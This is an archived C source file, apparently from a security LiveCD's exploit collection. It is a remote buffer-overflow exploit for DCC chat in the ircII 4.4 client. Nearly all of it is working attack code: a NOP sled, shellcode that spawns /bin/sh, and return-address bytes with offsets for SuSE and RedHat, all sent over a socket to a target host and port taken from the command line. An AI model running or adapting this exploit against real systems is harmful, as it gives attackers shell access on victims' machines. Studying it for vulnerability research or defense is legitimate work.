home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / ircii-4.4-exp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  104 lines
  1. /*
  2.  
  3.   ircii-4.4 exploit by bladi & aLmUDeNa                        
  4.                                                                                                                               
  5.   buffer overflow in ircii dcc chat's                          
  6.   allow to excute arbitrary                  
  7.                                                                
  8.   Affected:                                                    
  9.            ircII-4.4                                           
  10.                                                                
  11.   Patch:                                                       
  12.          Upgrade to ircII-4.4M                                 
  13.   ftp://ircftp.au.eterna.com.au/pub/ircII/ircii-4.4M.tar.gz    
  14.                                                                
  15.   Offset:                                                      
  16.          SuSe 6.x :0xbfffe3ff                                  
  17.          RedHat   :0xbfffe888
  18.                                                                
  19.   Thanks to : #warinhell,#hacker_novatos
  20.   Special thanks go to: Topo[lb],
  21.     Saludos para todos los que nos conozcan especialmente para eva ;)
  22.                                          (bladi@euskalnet.net)  
  23. */
  24.  
  25. #include <stdio.h>
  26. #include <netdb.h>
  27. #include <string.h>
  28. #include <signal.h>
  29. #include <unistd.h>
  30. #include <sys/types.h>
  31. #include <sys/socket.h>
  32. #include <netinet/in.h>
  33.  
  34. char *h_to_ip(char *hostname);
  35. char *h_to_ip(char *hostname) {
  36.   struct hostent *hozt;
  37.   struct sockaddr_in tmp;
  38.   struct in_addr in;
  39.   if ((hozt=gethostbyname(hostname))==NULL)
  40.       {
  41.       printf(" ERROR: IP incorrecta\n");
  42.       exit(0);                                     
  43.       }
  44.   memcpy((caddr_t)&tmp.sin_addr.s_addr, hozt->h_addr, hozt->h_length);
  45.   memcpy(&in,&tmp.sin_addr.s_addr,4);
  46.   return(inet_ntoa(in));
  47. }
  48. main(int argc, char *argv[])
  49. {
  50.   struct sockaddr_in sin;
  51.   char *hostname;
  52.   char nops[] =
  53.   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
  54.   char *shell =
  55.     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  56.     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  57.     "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  58.   int outsocket,tnt,i;
  59. printf (" irciismash  ver: 1.0\n");
  60. printf ("         by         \n");
  61. printf ("  bladi & aLmUDeNa\n\n");
  62.  
  63. if (argc<3)
  64.     {                        
  65.     printf("Usage : %s hostname port\n",argv[0]);
  66.     exit(-1);
  67.     }
  68. hostname=argv[1];
  69. outsocket=socket(AF_INET,SOCK_STREAM,0);
  70. sin.sin_family=AF_INET;
  71. sin.sin_port=htons(atoi(argv[2]));
  72. sin.sin_addr.s_addr=inet_addr(h_to_ip(hostname));
  73. if (connect (outsocket, (struct sockaddr *) &sin, sizeof(sin)) == -1) {
  74. printf(" ERROR: El puerto esta cerradito :_(\n");
  75. exit(0);
  76. }
  77.     printf("[1]- Noping\n    [");
  78.     for(i=0;i<47;i++)
  79.         {
  80.         if (!(i % 7)) { usleep (9); printf("."); fflush(stdout); }
  81.         write(outsocket,nops,strlen(nops));
  82.         }
  83.     printf("]\n");
  84.     printf("     Noped\n");
  85.     printf("[2]- Injectin shellcode\n");
  86.     write(outsocket,shell,strlen(shell));    
  87.     usleep(999);
  88.     printf("     Injected\n");
  89.     printf("[3]- Waiting\n [");
  90.     for(i=0;i<299;i++)
  91.         {
  92.         printf(".");
  93.         fflush(stdout);
  94.         usleep(99);
  95.         write(outsocket,"\xff",strlen("\xff"));
  96.         write(outsocket,"\xbf",strlen("\xff"));
  97.         write(outsocket,"\xff",strlen("\xe9"));
  98.         write(outsocket,"\xe3",strlen("\xff"));
  99.         }
  100. printf("]\n[4]- Xploit \n - --(DoNe)-- -\n");
  101. close(outsocket);
  102. }
  103.  
  104.